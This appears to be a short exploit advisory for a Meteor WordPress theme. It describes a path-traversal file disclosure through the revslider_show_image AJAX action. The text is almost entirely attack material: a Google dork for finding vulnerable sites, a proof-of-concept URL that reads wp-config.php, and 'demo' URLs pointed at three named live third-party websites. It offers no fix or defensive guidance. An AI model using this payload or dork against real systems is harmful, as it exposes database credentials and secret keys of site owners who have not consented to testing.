=>>Vendor Homepage: http://themeforest.net/item/meteor-retina-responsive-wordpress-theme/5029209
=>>Tested on: Kali linux / Windows 8.1
=>>Google Dork: inurl:/wp-content/plugins/meteor-extras/
=>>PoC : http://target/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
=>>Demo :
http://quantuminvestimentos.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
http://writehouse.co.uk/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
http://www.ismail.nevsehirwebtasarim.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php